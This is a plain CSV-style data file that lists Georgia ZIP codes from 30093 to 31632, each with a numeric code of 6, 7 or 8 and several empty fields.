US-GA-30093,US,GA,30093,6,,,, US-GA-30094,US,GA,30094,6,,,, US-GA-30095,US,GA,30095,6,,,, US-GA-30096,US,GA,30096,6,,,, US-GA-30097,US,GA,30097,6,,,, US-GA-30098,US,GA,30098,7,,,, US-GA-30099,US,GA,30099,6,,,, US-GA-30101,US,GA,30101,6,,,, US-GA-30102,US,GA,30102,6,,,, US-GA-30103,US,GA,30103,7,,,, US-GA-30104,US,GA,30104,7,,,, US-GA-30105,US,GA,30105,6,,,, US-GA-30106,US,GA,30106,6,,,, US-GA-30107,US,GA,30107,6,,,, US-GA-30108,US,GA,30108,7,,,, US-GA-30109,US,GA,30109,7,,,, US-GA-30110,US,GA,30110,7,,,, US-GA-30111,US,GA,30111,6,,,, US-GA-30112,US,GA,30112,7,,,, US-GA-30113,US,GA,30113,7,,,, US-GA-30114,US,GA,30114,6,,,, US-GA-30115,US,GA,30115,6,,,, US-GA-30116,US,GA,30116,7,,,, US-GA-30117,US,GA,30117,7,,,, US-GA-30118,US,GA,30118,7,,,, US-GA-30119,US,GA,30119,7,,,, US-GA-30120,US,GA,30120,7,,,, US-GA-30121,US,GA,30121,7,,,, US-GA-30122,US,GA,30122,7,,,, US-GA-30123,US,GA,30123,7,,,, US-GA-30124,US,GA,30124,6,,,, US-GA-30125,US,GA,30125,7,,,, US-GA-30126,US,GA,30126,6,,,, US-GA-30127,US,GA,30127,6,,,, US-GA-30129,US,GA,30129,6,,,, US-GA-30132,US,GA,30132,7,,,, US-GA-30133,US,GA,30133,7,,,, US-GA-30134,US,GA,30134,7,,,, US-GA-30135,US,GA,30135,7,,,, US-GA-30137,US,GA,30137,7,,,, US-GA-30138,US,GA,30138,7,,,, US-GA-30139,US,GA,30139,7,,,, US-GA-30140,US,GA,30140,7,,,, US-GA-30141,US,GA,30141,7,,,, US-GA-30142,US,GA,30142,6,,,, US-GA-30143,US,GA,30143,7,,,, US-GA-30144,US,GA,30144,6,,,, US-GA-30145,US,GA,30145,7,,,, US-GA-30146,US,GA,30146,6,,,, US-GA-30147,US,GA,30147,6,,,, US-GA-30148,US,GA,30148,7,,,, US-GA-30149,US,GA,30149,6,,,, US-GA-30150,US,GA,30150,7,,,, US-GA-30151,US,GA,30151,6,,,, US-GA-30152,US,GA,30152,6,,,, US-GA-30153,US,GA,30153,7,,,, US-GA-30154,US,GA,30154,7,,,, US-GA-30156,US,GA,30156,6,,,, US-GA-30157,US,GA,30157,7,,,, US-GA-30160,US,GA,30160,6,,,, US-GA-30161,US,GA,30161,6,,,, US-GA-30162,US,GA,30162,6,,,, US-GA-30163,US,GA,30163,6,,,, US-GA-30164,US,GA,30164,6,,,, US-GA-30165,US,GA,30165,6,,,, US-GA-30168,US,GA,30168,6,,,, US-GA-30169,US,GA,30169,6,,,, US-GA-30170,US,GA,30170,7,,,, US-GA-30171,US,GA,30171,7,,,, US-GA-30172,US,GA,30172,6,,,, US-GA-30173,US,GA,30173,6,,,, US-GA-30175,US,GA,30175,7,,,, US-GA-30176,US,GA,30176,7,,,, US-GA-30177,US,GA,30177,7,,,, US-GA-30178,US,GA,30178,7,,,, US-GA-30179,US,GA,30179,7,,,, US-GA-30180,US,GA,30180,7,,,, US-GA-30182,US,GA,30182,7,,,, US-GA-30183,US,GA,30183,6,,,, US-GA-30184,US,GA,30184,7,,,, US-GA-30185,US,GA,30185,7,,,, US-GA-30187,US,GA,30187,7,,,, US-GA-30188,US,GA,30188,6,,,, US-GA-30189,US,GA,30189,6,,,, US-GA-30204,US,GA,30204,7,,,, US-GA-30205,US,GA,30205,7,,,, US-GA-30206,US,GA,30206,7,,,, US-GA-30212,US,GA,30212,7,,,, US-GA-30213,US,GA,30213,7,,,, US-GA-30214,US,GA,30214,6,,,, US-GA-30215,US,GA,30215,6,,,, US-GA-30216,US,GA,30216,7,,,, US-GA-30217,US,GA,30217,7,,,, US-GA-30218,US,GA,30218,7,,,, US-GA-30219,US,GA,30219,7,,,, US-GA-30220,US,GA,30220,7,,,, US-GA-30222,US,GA,30222,7,,,, US-GA-30223,US,GA,30223,7,,,, US-GA-30224,US,GA,30224,7,,,, US-GA-30228,US,GA,30228,7,,,, US-GA-30229,US,GA,30229,7,,,, US-GA-30230,US,GA,30230,7,,,, US-GA-30233,US,GA,30233,7,,,, US-GA-30234,US,GA,30234,7,,,, US-GA-30236,US,GA,30236,7,,,, US-GA-30237,US,GA,30237,7,,,, US-GA-30238,US,GA,30238,7,,,, US-GA-30240,US,GA,30240,7,,,, US-GA-30241,US,GA,30241,7,,,, US-GA-30248,US,GA,30248,7,,,, US-GA-30250,US,GA,30250,7,,,, US-GA-30251,US,GA,30251,7,,,, US-GA-30252,US,GA,30252,7,,,, US-GA-30253,US,GA,30253,7,,,, US-GA-30256,US,GA,30256,7,,,, US-GA-30257,US,GA,30257,7,,,, US-GA-30258,US,GA,30258,7,,,, US-GA-30259,US,GA,30259,7,,,, US-GA-30260,US,GA,30260,7,,,, US-GA-30261,US,GA,30261,7,,,, US-GA-30263,US,GA,30263,7,,,, US-GA-30264,US,GA,30264,7,,,, US-GA-30265,US,GA,30265,7,,,, US-GA-30266,US,GA,30266,7,,,, US-GA-30268,US,GA,30268,7,,,, US-GA-30269,US,GA,30269,6,,,, US-GA-30270,US,GA,30270,6,,,, US-GA-30271,US,GA,30271,7,,,, US-GA-30272,US,GA,30272,7,,,, US-GA-30273,US,GA,30273,7,,,, US-GA-30274,US,GA,30274,7,,,, US-GA-30275,US,GA,30275,7,,,, US-GA-30276,US,GA,30276,7,,,, US-GA-30277,US,GA,30277,7,,,, US-GA-30281,US,GA,30281,7,,,, US-GA-30284,US,GA,30284,7,,,, US-GA-30285,US,GA,30285,7,,,, US-GA-30286,US,GA,30286,7,,,, US-GA-30287,US,GA,30287,7,,,, US-GA-30288,US,GA,30288,7,,,, US-GA-30289,US,GA,30289,7,,,, US-GA-30290,US,GA,30290,6,,,, US-GA-30291,US,GA,30291,7,,,, US-GA-30292,US,GA,30292,7,,,, US-GA-30293,US,GA,30293,7,,,, US-GA-30294,US,GA,30294,7,,,, US-GA-30295,US,GA,30295,7,,,, US-GA-30296,US,GA,30296,7,,,, US-GA-30297,US,GA,30297,7,,,, US-GA-30298,US,GA,30298,7,,,, US-GA-30301,US,GA,30301,7,,,, US-GA-30302,US,GA,30302,7,,,, US-GA-30303,US,GA,30303,8,,,, US-GA-30304,US,GA,30304,7,,,, US-GA-30305,US,GA,30305,8,,,, US-GA-30306,US,GA,30306,8,,,, US-GA-30307,US,GA,30307,8,,,, US-GA-30308,US,GA,30308,8,,,, US-GA-30309,US,GA,30309,8,,,, US-GA-30310,US,GA,30310,8,,,, US-GA-30311,US,GA,30311,8,,,, US-GA-30312,US,GA,30312,8,,,, US-GA-30313,US,GA,30313,8,,,, US-GA-30314,US,GA,30314,8,,,, US-GA-30315,US,GA,30315,8,,,, US-GA-30316,US,GA,30316,7,,,, US-GA-30317,US,GA,30317,8,,,, US-GA-30318,US,GA,30318,8,,,, US-GA-30319,US,GA,30319,7,,,, US-GA-30320,US,GA,30320,7,,,, US-GA-30321,US,GA,30321,7,,,, US-GA-30322,US,GA,30322,7,,,, US-GA-30324,US,GA,30324,8,,,, US-GA-30325,US,GA,30325,7,,,, US-GA-30326,US,GA,30326,8,,,, US-GA-30327,US,GA,30327,8,,,, US-GA-30328,US,GA,30328,7,,,, US-GA-30329,US,GA,30329,7,,,, US-GA-30331,US,GA,30331,8,,,, US-GA-30332,US,GA,30332,7,,,, US-GA-30333,US,GA,30333,7,,,, US-GA-30334,US,GA,30334,8,,,, US-GA-30336,US,GA,30336,7,,,, US-GA-30337,US,GA,30337,7,,,, US-GA-30338,US,GA,30338,7,,,, US-GA-30339,US,GA,30339,6,,,, US-GA-30340,US,GA,30340,7,,,, US-GA-30341,US,GA,30341,7,,,, US-GA-30342,US,GA,30342,8,,,, US-GA-30343,US,GA,30343,7,,,, US-GA-30344,US,GA,30344,8,,,, US-GA-30345,US,GA,30345,7,,,, US-GA-30346,US,GA,30346,7,,,, US-GA-30348,US,GA,30348,7,,,, US-GA-30349,US,GA,30349,7,,,, US-GA-30350,US,GA,30350,7,,,, US-GA-30353,US,GA,30353,7,,,, US-GA-30354,US,GA,30354,8,,,, US-GA-30355,US,GA,30355,8,,,, US-GA-30356,US,GA,30356,7,,,, US-GA-30357,US,GA,30357,7,,,, US-GA-30358,US,GA,30358,7,,,, US-GA-30359,US,GA,30359,7,,,, US-GA-30360,US,GA,30360,7,,,, US-GA-30361,US,GA,30361,8,,,, US-GA-30362,US,GA,30362,7,,,, US-GA-30363,US,GA,30363,8,,,, US-GA-30364,US,GA,30364,8,,,, US-GA-30366,US,GA,30366,7,,,, US-GA-30368,US,GA,30368,7,,,, US-GA-30369,US,GA,30369,8,,,, US-GA-30370,US,GA,30370,7,,,, US-GA-30371,US,GA,30371,7,,,, US-GA-30374,US,GA,30374,7,,,, US-GA-30375,US,GA,30375,8,,,, US-GA-30377,US,GA,30377,7,,,, US-GA-30378,US,GA,30378,7,,,, US-GA-30380,US,GA,30380,7,,,, US-GA-30384,US,GA,30384,7,,,, US-GA-30385,US,GA,30385,7,,,, US-GA-30388,US,GA,30388,7,,,, US-GA-30392,US,GA,30392,7,,,, US-GA-30394,US,GA,30394,7,,,, US-GA-30396,US,GA,30396,7,,,, US-GA-30398,US,GA,30398,7,,,, US-GA-30401,US,GA,30401,8,,,, US-GA-30410,US,GA,30410,8,,,, US-GA-30411,US,GA,30411,8,,,, US-GA-30412,US,GA,30412,8,,,, US-GA-30413,US,GA,30413,8,,,, US-GA-30414,US,GA,30414,8,,,, US-GA-30415,US,GA,30415,7,,,, US-GA-30417,US,GA,30417,8,,,, US-GA-30420,US,GA,30420,8,,,, US-GA-30421,US,GA,30421,8,,,, US-GA-30423,US,GA,30423,8,,,, US-GA-30424,US,GA,30424,7,,,, US-GA-30425,US,GA,30425,7,,,, US-GA-30426,US,GA,30426,7,,,, US-GA-30427,US,GA,30427,8,,,, US-GA-30428,US,GA,30428,8,,,, US-GA-30429,US,GA,30429,8,,,, US-GA-30434,US,GA,30434,8,,,, US-GA-30436,US,GA,30436,8,,,, US-GA-30438,US,GA,30438,8,,,, US-GA-30439,US,GA,30439,8,,,, US-GA-30441,US,GA,30441,7,,,, US-GA-30442,US,GA,30442,8,,,, US-GA-30445,US,GA,30445,8,,,, US-GA-30446,US,GA,30446,7,,,, US-GA-30447,US,GA,30447,8,,,, US-GA-30448,US,GA,30448,8,,,, US-GA-30449,US,GA,30449,7,,,, US-GA-30450,US,GA,30450,7,,,, US-GA-30451,US,GA,30451,8,,,, US-GA-30452,US,GA,30452,7,,,, US-GA-30453,US,GA,30453,8,,,, US-GA-30454,US,GA,30454,8,,,, US-GA-30455,US,GA,30455,7,,,, US-GA-30456,US,GA,30456,7,,,, US-GA-30457,US,GA,30457,8,,,, US-GA-30458,US,GA,30458,7,,,, US-GA-30459,US,GA,30459,7,,,, US-GA-30460,US,GA,30460,7,,,, US-GA-30461,US,GA,30461,7,,,, US-GA-30464,US,GA,30464,8,,,, US-GA-30467,US,GA,30467,7,,,, US-GA-30470,US,GA,30470,8,,,, US-GA-30471,US,GA,30471,8,,,, US-GA-30473,US,GA,30473,8,,,, US-GA-30474,US,GA,30474,8,,,, US-GA-30475,US,GA,30475,8,,,, US-GA-30477,US,GA,30477,8,,,, US-GA-30499,US,GA,30499,8,,,, US-GA-30501,US,GA,30501,7,,,, US-GA-30502,US,GA,30502,7,,,, US-GA-30503,US,GA,30503,7,,,, US-GA-30504,US,GA,30504,7,,,, US-GA-30506,US,GA,30506,7,,,, US-GA-30507,US,GA,30507,7,,,, US-GA-30510,US,GA,30510,7,,,, US-GA-30511,US,GA,30511,7,,,, US-GA-30512,US,GA,30512,7,,,, US-GA-30513,US,GA,30513,7,,,, US-GA-30514,US,GA,30514,7,,,, US-GA-30515,US,GA,30515,6,,,, US-GA-30516,US,GA,30516,7,,,, US-GA-30517,US,GA,30517,7,,,, US-GA-30518,US,GA,30518,6,,,, US-GA-30519,US,GA,30519,6,,,, US-GA-30520,US,GA,30520,7,,,, US-GA-30521,US,GA,30521,7,,,, US-GA-30522,US,GA,30522,7,,,, US-GA-30523,US,GA,30523,7,,,, US-GA-30525,US,GA,30525,7,,,, US-GA-30527,US,GA,30527,7,,,, US-GA-30528,US,GA,30528,7,,,, US-GA-30529,US,GA,30529,7,,,, US-GA-30530,US,GA,30530,7,,,, US-GA-30531,US,GA,30531,7,,,, US-GA-30533,US,GA,30533,7,,,, US-GA-30534,US,GA,30534,7,,,, US-GA-30535,US,GA,30535,7,,,, US-GA-30536,US,GA,30536,7,,,, US-GA-30537,US,GA,30537,7,,,, US-GA-30538,US,GA,30538,7,,,, US-GA-30539,US,GA,30539,7,,,, US-GA-30540,US,GA,30540,7,,,, US-GA-30541,US,GA,30541,7,,,, US-GA-30542,US,GA,30542,7,,,, US-GA-30543,US,GA,30543,7,,,, US-GA-30545,US,GA,30545,7,,,, US-GA-30546,US,GA,30546,7,,,, US-GA-30547,US,GA,30547,7,,,, US-GA-30548,US,GA,30548,7,,,, US-GA-30549,US,GA,30549,7,,,, US-GA-30552,US,GA,30552,7,,,, US-GA-30553,US,GA,30553,7,,,, US-GA-30554,US,GA,30554,7,,,, US-GA-30555,US,GA,30555,7,,,, US-GA-30557,US,GA,30557,7,,,, US-GA-30558,US,GA,30558,7,,,, US-GA-30559,US,GA,30559,7,,,, US-GA-30560,US,GA,30560,7,,,, US-GA-30562,US,GA,30562,7,,,, US-GA-30563,US,GA,30563,7,,,, US-GA-30564,US,GA,30564,7,,,, US-GA-30565,US,GA,30565,7,,,, US-GA-30566,US,GA,30566,7,,,, US-GA-30567,US,GA,30567,7,,,, US-GA-30568,US,GA,30568,7,,,, US-GA-30571,US,GA,30571,7,,,, US-GA-30572,US,GA,30572,7,,,, US-GA-30573,US,GA,30573,7,,,, US-GA-30575,US,GA,30575,7,,,, US-GA-30576,US,GA,30576,7,,,, US-GA-30577,US,GA,30577,7,,,, US-GA-30580,US,GA,30580,7,,,, US-GA-30581,US,GA,30581,7,,,, US-GA-30582,US,GA,30582,7,,,, US-GA-30597,US,GA,30597,7,,,, US-GA-30598,US,GA,30598,7,,,, US-GA-30599,US,GA,30599,7,,,, US-GA-30601,US,GA,30601,7,,,, US-GA-30602,US,GA,30602,7,,,, US-GA-30603,US,GA,30603,7,,,, US-GA-30604,US,GA,30604,7,,,, US-GA-30605,US,GA,30605,7,,,, US-GA-30606,US,GA,30606,7,,,, US-GA-30607,US,GA,30607,7,,,, US-GA-30608,US,GA,30608,7,,,, US-GA-30609,US,GA,30609,7,,,, US-GA-30612,US,GA,30612,7,,,, US-GA-30619,US,GA,30619,7,,,, US-GA-30620,US,GA,30620,7,,,, US-GA-30621,US,GA,30621,7,,,, US-GA-30622,US,GA,30622,7,,,, US-GA-30623,US,GA,30623,7,,,, US-GA-30624,US,GA,30624,7,,,, US-GA-30625,US,GA,30625,7,,,, US-GA-30627,US,GA,30627,7,,,, US-GA-30628,US,GA,30628,7,,,, US-GA-30629,US,GA,30629,7,,,, US-GA-30630,US,GA,30630,7,,,, US-GA-30631,US,GA,30631,8,,,, US-GA-30633,US,GA,30633,7,,,, US-GA-30634,US,GA,30634,7,,,, US-GA-30635,US,GA,30635,7,,,, US-GA-30638,US,GA,30638,7,,,, US-GA-30639,US,GA,30639,7,,,, US-GA-30641,US,GA,30641,7,,,, US-GA-30642,US,GA,30642,6,,,, US-GA-30643,US,GA,30643,7,,,, US-GA-30645,US,GA,30645,7,,,, US-GA-30646,US,GA,30646,7,,,, US-GA-30647,US,GA,30647,7,,,, US-GA-30648,US,GA,30648,7,,,, US-GA-30650,US,GA,30650,7,,,, US-GA-30655,US,GA,30655,7,,,, US-GA-30656,US,GA,30656,7,,,, US-GA-30660,US,GA,30660,8,,,, US-GA-30662,US,GA,30662,7,,,, US-GA-30663,US,GA,30663,7,,,, US-GA-30664,US,GA,30664,8,,,, US-GA-30665,US,GA,30665,6,,,, US-GA-30666,US,GA,30666,7,,,, US-GA-30667,US,GA,30667,7,,,, US-GA-30668,US,GA,30668,8,,,, US-GA-30669,US,GA,30669,6,,,, US-GA-30671,US,GA,30671,7,,,, US-GA-30673,US,GA,30673,8,,,, US-GA-30677,US,GA,30677,7,,,, US-GA-30678,US,GA,30678,6,,,, US-GA-30680,US,GA,30680,7,,,, US-GA-30683,US,GA,30683,7,,,, US-GA-30701,US,GA,30701,7,,,, US-GA-30703,US,GA,30703,7,,,, US-GA-30705,US,GA,30705,7,,,, US-GA-30707,US,GA,30707,7,,,, US-GA-30708,US,GA,30708,7,,,, US-GA-30710,US,GA,30710,6,,,, US-GA-30711,US,GA,30711,7,,,, US-GA-30719,US,GA,30719,6,,,, US-GA-30720,US,GA,30720,6,,,, US-GA-30721,US,GA,30721,6,,,, US-GA-30722,US,GA,30722,6,,,, US-GA-30724,US,GA,30724,7,,,, US-GA-30725,US,GA,30725,7,,,, US-GA-30726,US,GA,30726,7,,,, US-GA-30728,US,GA,30728,7,,,, US-GA-30730,US,GA,30730,7,,,, US-GA-30731,US,GA,30731,7,,,, US-GA-30732,US,GA,30732,7,,,, US-GA-30733,US,GA,30733,7,,,, US-GA-30734,US,GA,30734,7,,,, US-GA-30735,US,GA,30735,7,,,, US-GA-30736,US,GA,30736,7,,,, US-GA-30738,US,GA,30738,7,,,, US-GA-30739,US,GA,30739,7,,,, US-GA-30740,US,GA,30740,6,,,, US-GA-30741,US,GA,30741,7,,,, US-GA-30742,US,GA,30742,7,,,, US-GA-30746,US,GA,30746,7,,,, US-GA-30747,US,GA,30747,7,,,, US-GA-30750,US,GA,30750,7,,,, US-GA-30751,US,GA,30751,7,,,, US-GA-30752,US,GA,30752,7,,,, US-GA-30753,US,GA,30753,7,,,, US-GA-30755,US,GA,30755,6,,,, US-GA-30756,US,GA,30756,6,,,, US-GA-30757,US,GA,30757,7,,,, US-GA-30802,US,GA,30802,8,,,, US-GA-30803,US,GA,30803,8,,,, US-GA-30805,US,GA,30805,7,,,, US-GA-30806,US,GA,30806,8,,,, US-GA-30807,US,GA,30807,8,,,, US-GA-30808,US,GA,30808,8,,,, US-GA-30809,US,GA,30809,8,,,, US-GA-30810,US,GA,30810,8,,,, US-GA-30811,US,GA,30811,7,,,, US-GA-30812,US,GA,30812,8,,,, US-GA-30813,US,GA,30813,8,,,, US-GA-30814,US,GA,30814,8,,,, US-GA-30815,US,GA,30815,8,,,, US-GA-30816,US,GA,30816,7,,,, US-GA-30817,US,GA,30817,8,,,, US-GA-30818,US,GA,30818,8,,,, US-GA-30819,US,GA,30819,8,,,, US-GA-30820,US,GA,30820,8,,,, US-GA-30821,US,GA,30821,8,,,, US-GA-30822,US,GA,30822,8,,,, US-GA-30823,US,GA,30823,8,,,, US-GA-30824,US,GA,30824,8,,,, US-GA-30828,US,GA,30828,8,,,, US-GA-30830,US,GA,30830,7,,,, US-GA-30833,US,GA,30833,8,,,, US-GA-30901,US,GA,30901,8,,,, US-GA-30903,US,GA,30903,8,,,, US-GA-30904,US,GA,30904,8,,,, US-GA-30905,US,GA,30905,8,,,, US-GA-30906,US,GA,30906,8,,,, US-GA-30907,US,GA,30907,8,,,, US-GA-30909,US,GA,30909,8,,,, US-GA-30912,US,GA,30912,8,,,, US-GA-30914,US,GA,30914,8,,,, US-GA-30916,US,GA,30916,8,,,, US-GA-30917,US,GA,30917,8,,,, US-GA-30919,US,GA,30919,8,,,, US-GA-30999,US,GA,30999,8,,,, US-GA-31001,US,GA,31001,8,,,, US-GA-31002,US,GA,31002,8,,,, US-GA-31003,US,GA,31003,7,,,, US-GA-31004,US,GA,31004,7,,,, US-GA-31005,US,GA,31005,7,,,, US-GA-31006,US,GA,31006,8,,,, US-GA-31007,US,GA,31007,8,,,, US-GA-31008,US,GA,31008,7,,,, US-GA-31009,US,GA,31009,8,,,, US-GA-31010,US,GA,31010,8,,,, US-GA-31011,US,GA,31011,8,,,, US-GA-31012,US,GA,31012,8,,,, US-GA-31013,US,GA,31013,7,,,, US-GA-31014,US,GA,31014,8,,,, US-GA-31015,US,GA,31015,8,,,, US-GA-31016,US,GA,31016,7,,,, US-GA-31017,US,GA,31017,7,,,, US-GA-31018,US,GA,31018,8,,,, US-GA-31019,US,GA,31019,8,,,, US-GA-31020,US,GA,31020,7,,,, US-GA-31021,US,GA,31021,8,,,, US-GA-31022,US,GA,31022,8,,,, US-GA-31023,US,GA,31023,8,,,, US-GA-31024,US,GA,31024,7,,,, US-GA-31025,US,GA,31025,7,,,, US-GA-31026,US,GA,31026,7,,,, US-GA-31027,US,GA,31027,8,,,, US-GA-31028,US,GA,31028,7,,,, US-GA-31029,US,GA,31029,7,,,, US-GA-31030,US,GA,31030,7,,,, US-GA-31031,US,GA,31031,7,,,, US-GA-31032,US,GA,31032,7,,,, US-GA-31033,US,GA,31033,7,,,, US-GA-31034,US,GA,31034,7,,,, US-GA-31035,US,GA,31035,8,,,, US-GA-31036,US,GA,31036,7,,,, US-GA-31037,US,GA,31037,8,,,, US-GA-31038,US,GA,31038,7,,,, US-GA-31039,US,GA,31039,8,,,, US-GA-31040,US,GA,31040,8,,,, US-GA-31041,US,GA,31041,8,,,, US-GA-31042,US,GA,31042,7,,,, US-GA-31044,US,GA,31044,7,,,, US-GA-31045,US,GA,31045,8,,,, US-GA-31046,US,GA,31046,7,,,, US-GA-31047,US,GA,31047,7,,,, US-GA-31049,US,GA,31049,8,,,, US-GA-31050,US,GA,31050,7,,,, US-GA-31051,US,GA,31051,8,,,, US-GA-31052,US,GA,31052,7,,,, US-GA-31054,US,GA,31054,7,,,, US-GA-31055,US,GA,31055,8,,,, US-GA-31057,US,GA,31057,8,,,, US-GA-31058,US,GA,31058,8,,,, US-GA-31059,US,GA,31059,7,,,, US-GA-31060,US,GA,31060,8,,,, US-GA-31061,US,GA,31061,7,,,, US-GA-31062,US,GA,31062,7,,,, US-GA-31063,US,GA,31063,8,,,, US-GA-31064,US,GA,31064,7,,,, US-GA-31065,US,GA,31065,8,,,, US-GA-31066,US,GA,31066,7,,,, US-GA-31067,US,GA,31067,8,,,, US-GA-31068,US,GA,31068,8,,,, US-GA-31069,US,GA,31069,7,,,, US-GA-31070,US,GA,31070,8,,,, US-GA-31071,US,GA,31071,8,,,, US-GA-31072,US,GA,31072,8,,,, US-GA-31075,US,GA,31075,8,,,, US-GA-31076,US,GA,31076,8,,,, US-GA-31077,US,GA,31077,8,,,, US-GA-31078,US,GA,31078,7,,,, US-GA-31079,US,GA,31079,8,,,, US-GA-31081,US,GA,31081,8,,,, US-GA-31082,US,GA,31082,8,,,, US-GA-31083,US,GA,31083,8,,,, US-GA-31084,US,GA,31084,8,,,, US-GA-31085,US,GA,31085,7,,,, US-GA-31086,US,GA,31086,7,,,, US-GA-31087,US,GA,31087,8,,,, US-GA-31088,US,GA,31088,7,,,, US-GA-31089,US,GA,31089,8,,,, US-GA-31090,US,GA,31090,7,,,, US-GA-31091,US,GA,31091,8,,,, US-GA-31092,US,GA,31092,8,,,, US-GA-31093,US,GA,31093,7,,,, US-GA-31094,US,GA,31094,8,,,, US-GA-31095,US,GA,31095,7,,,, US-GA-31096,US,GA,31096,8,,,, US-GA-31097,US,GA,31097,7,,,, US-GA-31098,US,GA,31098,7,,,, US-GA-31099,US,GA,31099,7,,,, US-GA-31106,US,GA,31106,7,,,, US-GA-31107,US,GA,31107,7,,,, US-GA-31119,US,GA,31119,7,,,, US-GA-31126,US,GA,31126,7,,,, US-GA-31131,US,GA,31131,7,,,, US-GA-31136,US,GA,31136,7,,,, US-GA-31139,US,GA,31139,7,,,, US-GA-31141,US,GA,31141,7,,,, US-GA-31144,US,GA,31144,6,,,, US-GA-31145,US,GA,31145,7,,,, US-GA-31146,US,GA,31146,7,,,, US-GA-31150,US,GA,31150,7,,,, US-GA-31156,US,GA,31156,7,,,, US-GA-31169,US,GA,31169,6,,,, US-GA-31192,US,GA,31192,7,,,, US-GA-31193,US,GA,31193,7,,,, US-GA-31195,US,GA,31195,7,,,, US-GA-31196,US,GA,31196,7,,,, US-GA-31201,US,GA,31201,7,,,, US-GA-31202,US,GA,31202,7,,,, US-GA-31203,US,GA,31203,7,,,, US-GA-31204,US,GA,31204,7,,,, US-GA-31205,US,GA,31205,7,,,, US-GA-31206,US,GA,31206,7,,,, US-GA-31207,US,GA,31207,7,,,, US-GA-31208,US,GA,31208,7,,,, US-GA-31209,US,GA,31209,7,,,, US-GA-31210,US,GA,31210,7,,,, US-GA-31211,US,GA,31211,7,,,, US-GA-31213,US,GA,31213,7,,,, US-GA-31216,US,GA,31216,7,,,, US-GA-31217,US,GA,31217,7,,,, US-GA-31220,US,GA,31220,7,,,, US-GA-31221,US,GA,31221,7,,,, US-GA-31294,US,GA,31294,7,,,, US-GA-31295,US,GA,31295,7,,,, US-GA-31296,US,GA,31296,7,,,, US-GA-31297,US,GA,31297,7,,,, US-GA-31301,US,GA,31301,7,,,, US-GA-31302,US,GA,31302,7,,,, US-GA-31303,US,GA,31303,7,,,, US-GA-31304,US,GA,31304,7,,,, US-GA-31305,US,GA,31305,7,,,, US-GA-31307,US,GA,31307,7,,,, US-GA-31308,US,GA,31308,7,,,, US-GA-31309,US,GA,31309,7,,,, US-GA-31310,US,GA,31310,7,,,, US-GA-31312,US,GA,31312,7,,,, US-GA-31313,US,GA,31313,7,,,, US-GA-31314,US,GA,31314,7,,,, US-GA-31315,US,GA,31315,7,,,, US-GA-31316,US,GA,31316,7,,,, US-GA-31318,US,GA,31318,7,,,, US-GA-31319,US,GA,31319,7,,,, US-GA-31320,US,GA,31320,7,,,, US-GA-31321,US,GA,31321,7,,,, US-GA-31322,US,GA,31322,7,,,, US-GA-31323,US,GA,31323,7,,,, US-GA-31324,US,GA,31324,7,,,, US-GA-31326,US,GA,31326,7,,,, US-GA-31327,US,GA,31327,7,,,, US-GA-31328,US,GA,31328,7,,,, US-GA-31329,US,GA,31329,7,,,, US-GA-31331,US,GA,31331,7,,,, US-GA-31333,US,GA,31333,7,,,, US-GA-31401,US,GA,31401,7,,,, US-GA-31402,US,GA,31402,7,,,, US-GA-31403,US,GA,31403,7,,,, US-GA-31404,US,GA,31404,7,,,, US-GA-31405,US,GA,31405,7,,,, US-GA-31406,US,GA,31406,7,,,, US-GA-31407,US,GA,31407,7,,,, US-GA-31408,US,GA,31408,7,,,, US-GA-31409,US,GA,31409,7,,,, US-GA-31410,US,GA,31410,7,,,, US-GA-31411,US,GA,31411,7,,,, US-GA-31412,US,GA,31412,7,,,, US-GA-31414,US,GA,31414,7,,,, US-GA-31415,US,GA,31415,7,,,, US-GA-31416,US,GA,31416,7,,,, US-GA-31418,US,GA,31418,7,,,, US-GA-31419,US,GA,31419,7,,,, US-GA-31420,US,GA,31420,7,,,, US-GA-31421,US,GA,31421,7,,,, US-GA-31501,US,GA,31501,7,,,, US-GA-31502,US,GA,31502,7,,,, US-GA-31503,US,GA,31503,7,,,, US-GA-31510,US,GA,31510,7,,,, US-GA-31512,US,GA,31512,7,,,, US-GA-31513,US,GA,31513,8,,,, US-GA-31515,US,GA,31515,8,,,, US-GA-31516,US,GA,31516,6,,,, US-GA-31518,US,GA,31518,8,,,, US-GA-31519,US,GA,31519,7,,,, US-GA-31520,US,GA,31520,6,,,, US-GA-31521,US,GA,31521,6,,,, US-GA-31522,US,GA,31522,6,,,, US-GA-31523,US,GA,31523,6,,,, US-GA-31524,US,GA,31524,6,,,, US-GA-31525,US,GA,31525,6,,,, US-GA-31527,US,GA,31527,6,,,, US-GA-31532,US,GA,31532,8,,,, US-GA-31533,US,GA,31533,7,,,, US-GA-31534,US,GA,31534,7,,,, US-GA-31535,US,GA,31535,7,,,, US-GA-31537,US,GA,31537,7,,,, US-GA-31539,US,GA,31539,8,,,, US-GA-31542,US,GA,31542,7,,,, US-GA-31543,US,GA,31543,7,,,, US-GA-31544,US,GA,31544,8,,,, US-GA-31545,US,GA,31545,8,,,, US-GA-31546,US,GA,31546,8,,,, US-GA-31547,US,GA,31547,7,,,, US-GA-31548,US,GA,31548,7,,,, US-GA-31549,US,GA,31549,8,,,, US-GA-31550,US,GA,31550,7,,,, US-GA-31551,US,GA,31551,6,,,, US-GA-31552,US,GA,31552,7,,,, US-GA-31553,US,GA,31553,7,,,, US-GA-31554,US,GA,31554,7,,,, US-GA-31555,US,GA,31555,8,,,, US-GA-31556,US,GA,31556,6,,,, US-GA-31557,US,GA,31557,6,,,, US-GA-31558,US,GA,31558,7,,,, US-GA-31560,US,GA,31560,8,,,, US-GA-31561,US,GA,31561,6,,,, US-GA-31562,US,GA,31562,7,,,, US-GA-31563,US,GA,31563,8,,,, US-GA-31564,US,GA,31564,7,,,, US-GA-31565,US,GA,31565,7,,,, US-GA-31566,US,GA,31566,7,,,, US-GA-31567,US,GA,31567,7,,,, US-GA-31568,US,GA,31568,7,,,, US-GA-31569,US,GA,31569,7,,,, US-GA-31598,US,GA,31598,8,,,, US-GA-31599,US,GA,31599,8,,,, US-GA-31601,US,GA,31601,7,,,, US-GA-31602,US,GA,31602,7,,,, US-GA-31603,US,GA,31603,7,,,, US-GA-31604,US,GA,31604,7,,,, US-GA-31605,US,GA,31605,7,,,, US-GA-31606,US,GA,31606,7,,,, US-GA-31620,US,GA,31620,7,,,, US-GA-31622,US,GA,31622,7,,,, US-GA-31623,US,GA,31623,7,,,, US-GA-31624,US,GA,31624,7,,,, US-GA-31625,US,GA,31625,7,,,, US-GA-31626,US,GA,31626,7,,,, US-GA-31627,US,GA,31627,7,,,, US-GA-31629,US,GA,31629,7,,,, US-GA-31630,US,GA,31630,7,,,, US-GA-31631,US,GA,31631,7,,,, US-GA-31632,US,GA,31632,7,,,, 